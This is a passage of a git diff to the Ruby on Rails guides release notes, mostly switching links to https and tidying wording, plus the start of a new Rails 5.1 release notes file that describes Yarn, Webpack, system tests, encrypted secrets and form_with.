+If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be `application_controller.rb` in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.
* More Information:
- * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/)
+ * [The Death of Application.rb](https://afreshcup.com/home/2008/11/17/rails-2x-the-death-of-applicationrb)
* [What's New in Edge Rails: Application.rb Duality is no More](http://archives.ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more)
### HTTP Digest Authentication Support
@@ -304,7 +304,7 @@ Rails now keeps a per-request local cache of read from the remote cache stores,
Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project.
-In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example.
+In addition, you can use the same scheme to localize the rescue files in the public directory: `public/500.da.html` or `public/404.en.html` work, for example.
### Partial Scoping for Translations
@@ -376,7 +376,7 @@ You can write this view in Rails 2.3:
* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
* More Information:
- * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+ * [Nested Model Forms](https://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
* [complex-form-examples](https://github.com/alloy/complex-form-examples)
* [What's New in Edge Rails: Nested Object Forms](http://archives.ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes)
@@ -468,7 +468,7 @@ options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lamb
```
* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/)
-* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/)
+* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](https://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections)
### A Note About Template Loading
@@ -533,7 +533,7 @@ If you look up the spec on the "json.org" site, you'll discover that all keys in
### Other Active Support Changes
* You can use `Enumerable#none?` to check that none of the elements match the supplied block.
-* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
+* If you're using Active Support [delegates](https://afreshcup.com/home/2008/10/19/coming-in-rails-22-delegate-prefixes) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
@@ -552,7 +552,7 @@ In addition to the Rack changes covered above, Railties (the core code of Rails
Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
* More Information:
- * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal)
+ * [Introducing Rails Metal](https://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal)
* [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m)
* [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html)
* [What's New in Edge Rails: Rails Metal](http://archives.ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal)
@@ -576,7 +576,7 @@ Building on thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietba
### Faster Boot Time in Development Mode with Lazy Loading/Autoload
-Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer, and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
@@ -592,7 +592,7 @@ The internals of the various <code>rake gem</code> tasks have been substantially
* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
* The default `environment.rb` file has been decluttered.
* The dbconsole script now lets you use an all-numeric password without crashing.
-* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
+* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](https://afreshcup.wordpress.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
* Rails Guides have been converted from AsciiDoc to Textile markup.
* Scaffolded views and controllers have been cleaned up a bit.
@@ -605,7 +605,7 @@ Deprecated
A few pieces of older code are deprecated in this release:
-* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](https://github.com/rails/irs_process_scripts/tree) plugin.
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](https://github.com/rails/irs_process_scripts) plugin.
* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](https://github.com/rails/render_component/tree/master).
* Support for Rails components has been removed.
* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
index 517b38be07..e793146c2c 100644
--- a/guides/source/3_0_release_notes.md
+++ b/guides/source/3_0_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 3.0 Release Notes
===============================
@@ -88,7 +88,7 @@ $ cd myapp
Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/bundler/bundler) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-More information: - [bundler homepage](http://bundler.io/)
+More information: - [bundler homepage](https://bundler.io/)
### Living on the Edge
@@ -153,9 +153,9 @@ More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/
Documentation
-------------
-The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
+The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](https://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](https://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
-More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects)
+More Information: - [Rails Documentation Projects](https://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects)
Internationalization
@@ -174,7 +174,7 @@ More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010
Railties
--------
-With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
+With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines, or plugins as painless and extensible as possible:
* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier.
* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications.
@@ -213,7 +213,7 @@ Railties now deprecates:
More information:
* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators)
-* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/)
+* [The Rails Module (in Rails 3)](http://quaran.to/blog/2010/02/03/the-rails-module/)
Action Pack
-----------
@@ -250,7 +250,7 @@ Deprecations:
More Information:
* [Render Options in Rails 3](https://blog.engineyard.com/2010/render-options-in-rails-3)
-* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder)
+* [Three reasons to love ActionController::Responder](https://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder)
### Action Dispatch
@@ -422,7 +422,7 @@ More Information:
Active Record
-------------
-Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
+Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates, and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
### Query Interface
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
index fd90cf9886..8c3dc3454d 100644
--- a/guides/source/3_1_release_notes.md
+++ b/guides/source/3_1_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 3.1 Release Notes
===============================
@@ -151,7 +151,7 @@ $ cd myapp
Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-More information: - [bundler homepage](http://bundler.io/)
+More information: - [bundler homepage](https://bundler.io/)
### Living on the Edge
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
index f16d509f77..d4c9bf357d 100644
--- a/guides/source/3_2_release_notes.md
+++ b/guides/source/3_2_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 3.2 Release Notes
===============================
@@ -30,13 +30,13 @@ TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails.
### What to update in your apps
-* Update your Gemfile to depend on
+* Update your `Gemfile` to depend on
* `rails = 3.2.0`
* `sass-rails ~> 3.2.3`
* `coffee-rails ~> 3.2.1`
* `uglifier >= 1.0.3`
-* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
* There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:
@@ -81,7 +81,7 @@ $ cd myapp
Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-More information: [Bundler homepage](http://bundler.io/)
+More information: [Bundler homepage](https://bundler.io/)
### Living on the Edge
@@ -156,7 +156,7 @@ Railties
will create indexes for `title` and `author` with the latter being a unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.
-* Turn gem has been removed from default Gemfile.
+* Turn gem has been removed from default `Gemfile`.
* Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.
@@ -295,7 +295,7 @@ Action Pack
```ruby
@items.each do |item|
content_tag_for(:li, item) do
- Title: <%= item.title %>
+ Title: <%= item.title %>
end
end
```
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
index 4615cf18e6..c9bc7f937b 100644
--- a/guides/source/4_0_release_notes.md
+++ b/guides/source/4_0_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 4.0 Release Notes
===============================
@@ -36,7 +36,7 @@ $ cd myapp
Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-More information: [Bundler homepage](http://bundler.io)
+More information: [Bundler homepage](https://bundler.io)
### Living on the Edge
@@ -55,22 +55,22 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev
Major Features
--------------
-[![Rails 4.0](images/rails4_features.png)](http://guides.rubyonrails.org/images/rails4_features.png)
+[![Rails 4.0](images/4_0_release_notes/rails4_features.png)](https://guides.rubyonrails.org/images/4_0_release_notes/rails4_features.png)
### Upgrade
* **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required
-* **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
+* **[New deprecation policy](https://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
* **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
* **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
* **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
* **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
* **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
-* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems.
+* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a `Gemfile` to manage installed gems.
### ActionPack
-* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`).
+* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow permitted parameters to update model objects (`params.permit(:title, :text)`).
* **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`).
* **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`.
* **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation.
@@ -196,7 +196,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/a
### Deprecations
-* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from minitest instead.
* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
index 6bf65757ec..b236f7ca24 100644
--- a/guides/source/4_1_release_notes.md
+++ b/guides/source/4_1_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 4.1 Release Notes
===============================
@@ -274,7 +274,7 @@ for detailed changes.
* The [Spring application
preloader](https://github.com/rails/spring) is now installed
by default for new applications. It uses the development group of
- the Gemfile, so will not be installed in
+ the `Gemfile`, so will not be installed in
production. ([Pull Request](https://github.com/rails/rails/pull/12958))
* `BACKTRACE` environment variable to show unfiltered backtraces for test
@@ -719,7 +719,7 @@ for detailed changes.
responsibilities within a
class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81))
-* Added `Object#presence_in` to simplify value whitelisting.
+* Added `Object#presence_in` to simplify adding values to a permitted list.
([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396))
diff --git a/guides/source/4_2_release_notes.md b/guides/source/4_2_release_notes.md
index a30bfc458a..f7c40d19e9 100644
--- a/guides/source/4_2_release_notes.md
+++ b/guides/source/4_2_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 4.2 Release Notes
===============================
@@ -179,7 +179,7 @@ change your code to use the explicit form (`render file: "foo/bar"`) instead.
`respond_with` and the corresponding class-level `respond_to` have been moved
to the [responders](https://github.com/plataformatec/responders) gem. Add
-`gem 'responders', '~> 2.0'` to your Gemfile to use it:
+`gem 'responders', '~> 2.0'` to your `Gemfile` to use it:
```ruby
# app/controllers/users_controller.rb
@@ -368,7 +368,7 @@ Please refer to the [Changelog][railties] for detailed changes.
### Notable changes
-* Introduced `web-console` in the default application Gemfile.
+* Introduced `web-console` in the default application `Gemfile`.
([Pull Request](https://github.com/rails/rails/pull/11667))
* Added a `required` option to the model generator for associations.
@@ -446,7 +446,7 @@ Please refer to the [Changelog][action-pack] for detailed changes.
moved to the `responders` gem (version 2.0). Add `gem 'responders', '~> 2.0'`
to your `Gemfile` to continue using these features.
([Pull Request](https://github.com/rails/rails/pull/16526),
- [More Details](http://guides.rubyonrails.org/upgrading_ruby_on_rails.html#responders))
+ [More Details](https://guides.rubyonrails.org/upgrading_ruby_on_rails.html#responders))
* Removed deprecated `AbstractController::Helpers::ClassMethods::MissingHelperError`
in favor of `AbstractController::Helpers::MissingHelperError`.
@@ -545,7 +545,7 @@ Please refer to the [Changelog][action-pack] for detailed changes.
served if the client supports it and a pre-generated gzip file (`.gz`) is on disk.
By default the asset pipeline generates `.gz` files for all compressible assets.
Serving gzip files minimizes data transfer and speeds up asset requests. Always
- [use a CDN](http://guides.rubyonrails.org/asset_pipeline.html#cdns) if you are
+ [use a CDN](https://guides.rubyonrails.org/asset_pipeline.html#cdns) if you are
serving assets from your Rails server in production.
([Pull Request](https://github.com/rails/rails/pull/16466))
diff --git a/guides/source/5_0_release_notes.md b/guides/source/5_0_release_notes.md
index 5f4be07351..d63921507d 100644
--- a/guides/source/5_0_release_notes.md
+++ b/guides/source/5_0_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 5.0 Release Notes
===============================
@@ -55,7 +55,7 @@ information.
### API Applications
Rails can now be used to create slimmed down API only applications.
-This is useful for creating and serving APIs similar to [Twitter](https://dev.twitter.com) or [GitHub](http://developer.github.com) API,
+This is useful for creating and serving APIs similar to [Twitter](https://dev.twitter.com) or [GitHub](https://developer.github.com) API,
that can be used to serve public facing, as well as, for custom applications.
You can generate a new api Rails app using:
@@ -73,12 +73,12 @@ This will do three main things:
`ActionController::Base`. As with middleware, this will leave out any Action
Controller modules that provide functionalities primarily used by browser
applications.
-- Configure the generators to skip generating views, helpers and assets when
- you generate a new resource.
+- Configure the generators to skip generating views, helpers, and assets when
+ you generate a new resource.
+
+The application provides a base for APIs,
+that can then be [configured to pull in functionality](api_app.html) as suitable for the application's needs.
-The application provides a base for APIs,
-that can then be [configured to pull in functionality](api_app.html) as suitable for the application's needs.
-
See the [Using Rails for API-only Applications](api_app.html) guide for more
information.
@@ -169,7 +169,7 @@ It includes some of these notable advancements:
instead of waiting for the suite to complete.
- Defer test output until the end of a full test run using the `-d` option.
- Complete exception backtrace output using `-b` option.
-- Integration with `Minitest` to allow options like `-s` for test seed data,
+- Integration with minitest to allow options like `-s` for test seed data,
`-n` for running specific test by name, `-v` for better verbose output and so forth.
- Colored test output.
@@ -775,7 +775,7 @@ Please refer to the [Changelog][active-record] for detailed changes.
* Added prepared statements support to `mysql2` adapter, for mysql2 0.4.4+,
Previously this was only supported on the deprecated `mysql` legacy adapter.
- To enable, set `prepared_statements: true` in config/database.yml.
+ To enable, set `prepared_statements: true` in `config/database.yml`.
([Pull Request](https://github.com/rails/rails/pull/23461))
* Added ability to call `ActionRecord::Relation#update` on relation objects
@@ -997,7 +997,7 @@ Please refer to the [Changelog][active-support] for detailed changes.
* New config option
`config.active_support.halt_callback_chains_on_return_false` to specify
- whether ActiveRecord, ActiveModel and ActiveModel::Validations callback
+ whether ActiveRecord, ActiveModel, and ActiveModel::Validations callback
chains can be halted by returning `false` in a 'before' callback.
([Pull Request](https://github.com/rails/rails/pull/17227))
diff --git a/guides/source/5_1_release_notes.md b/guides/source/5_1_release_notes.md
new file mode 100644
index 0000000000..d26d3d3b95
--- /dev/null
+++ b/guides/source/5_1_release_notes.md
@@ -0,0 +1,659 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
+
+Ruby on Rails 5.1 Release Notes
+===============================
+
+Highlights in Rails 5.1:
+
+* Yarn Support
+* Optional Webpack support
+* jQuery no longer a default dependency
+* System tests
+* Encrypted secrets
+* Parameterized mailers
+* Direct & resolved routes
+* Unification of form_for and form_tag into form_with
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/5-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 5.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 5.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 5.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-0-to-rails-5-1)
+guide.
+
+
+Major Features
+--------------
+
+### Yarn Support
+
+[Pull Request](https://github.com/rails/rails/pull/26836)
+
+Rails 5.1 allows managing JavaScript dependencies
+from NPM via Yarn. This will make it easy to use libraries like React, VueJS
+or any other library from NPM world. The Yarn support is integrated with
+the asset pipeline so that all dependencies will work seamlessly with the
+Rails 5.1 app.
+
+### Optional Webpack support
+
+[Pull Request](https://github.com/rails/rails/pull/27288)
+
+Rails apps can integrate with [Webpack](https://webpack.js.org/), a JavaScript
+asset bundler, more easily using the new [Webpacker](https://github.com/rails/webpacker)
+gem. Use the `--webpack` flag when generating new applications to enable Webpack
+integration.
+
+This is fully compatible with the asset pipeline, which you can continue to use for
+images, fonts, sounds, and other assets. You can even have some JavaScript code
+managed by the asset pipeline, and other code processed via Webpack. All of this is managed
+by Yarn, which is enabled by default.
+
+### jQuery no longer a default dependency
+
+[Pull Request](https://github.com/rails/rails/pull/27113)
+
+jQuery was required by default in earlier versions of Rails to provide features
+like `data-remote`, `data-confirm` and other parts of Rails' Unobtrusive JavaScript
+offerings. It is no longer required, as the UJS has been rewritten to use plain,
+vanilla JavaScript. This code now ships inside of Action View as
+`rails-ujs`.
+
+You can still use jQuery if needed, but it is no longer required by default.
+
+### System tests
+
+[Pull Request](https://github.com/rails/rails/pull/26703)
+
+Rails 5.1 has baked-in support for writing Capybara tests, in the form of
+System tests. You no longer need to worry about configuring Capybara and
+database cleaning strategies for such tests. Rails 5.1 provides a wrapper
+for running tests in Chrome with additional features such as failure
+screenshots.
+
+### Encrypted secrets
+
+[Pull Request](https://github.com/rails/rails/pull/28038)
+
+Rails now allows management of application secrets in a secure way,
+inspired by the [sekrets](https://github.com/ahoward/sekrets) gem.
+
+Run `bin/rails secrets:setup` to setup a new encrypted secrets file. This will
+also generate a master key, which must be stored outside of the repository. The
+secrets themselves can then be safely checked into the revision control system,
+in an encrypted form.
+
+Secrets will be decrypted in production, using a key stored either in the
+`RAILS_MASTER_KEY` environment variable, or in a key file.
+
+### Parameterized mailers
+
+[Pull Request](https://github.com/rails/rails/pull/27825)
+
+Allows specifying common parameters used for all methods in a mailer class in
+order to share instance variables, headers, and other common setup.
+
+``` ruby
+class InvitationsMailer < ApplicationMailer
+ before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
+ before_action { @account = params[:inviter].account }
+
+ def account_invitation
+ mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+ end
+end
+
+InvitationsMailer.with(inviter: person_a, invitee: person_b)
+ .account_invitation.deliver_later
+```
+
+### Direct & resolved routes
+
+[Pull Request](https://github.com/rails/rails/pull/23138)
+
+Rails 5.1 adds two new methods, `resolve` and `direct`, to the routing
+DSL. The `resolve` method allows customizing polymorphic mapping of models.
+
+``` ruby
+resource :basket
+
+resolve("Basket") { [:basket] }
+```
+
+``` erb
+<%= form_for @basket do |form| %>
+ <!-- basket form -->
+<% end %>
+```
+
+This will generate the singular URL `/basket` instead of the usual `/baskets/:id`.
+
+The `direct` method allows creation of custom URL helpers.
+
+``` ruby
+direct(:homepage) { "http://www.rubyonrails.org" }
+
+>> homepage_url
+=> "http://www.rubyonrails.org"
+```
+
+The return value of the block must be a valid argument for the `url_for`
+method. So, you can pass a valid string URL, Hash, Array, an
+Active Model instance, or an Active Model class.
+
+``` ruby
+direct :commentable do |model|
+ [ model, anchor: model.dom_id ]
+end
+
+direct :main do
+ { controller: 'pages', action: 'index', subdomain: 'www' }
+end
+```
+
+### Unification of form_for and form_tag into form_with
+
+[Pull Request](https://github.com/rails/rails/pull/26976)
+
+Before Rails 5.1, there were two interfaces for handling HTML forms:
+`form_for` for model instances and `form_tag` for custom URLs.
+
+Rails 5.1 combines both of these interfaces with `form_with`, and
+can generate form tags based on URLs, scopes, or models.
+
+Using just a URL:
+
+``` erb
+<%= form_with url: posts_path do |form| %>
+ <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+ <input type="text" name="title">
+</form>
+```
+
+Adding a scope prefixes the input field names:
+
+``` erb
+<%= form_with scope: :post, url: posts_path do |form| %>
+ <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+ <input type="text" name="post[title]">
+</form>
+```
+
+Using a model infers both the URL and scope:
+
+``` erb
+<%= form_with model: Post.new do |form| %>
+ <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+ <input type="text" name="post[title]">
+</form>
+```
+
+An existing model makes an update form and fills out field values:
+
+``` erb
+<%= form_with model: Post.first do |form| %>
+ <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
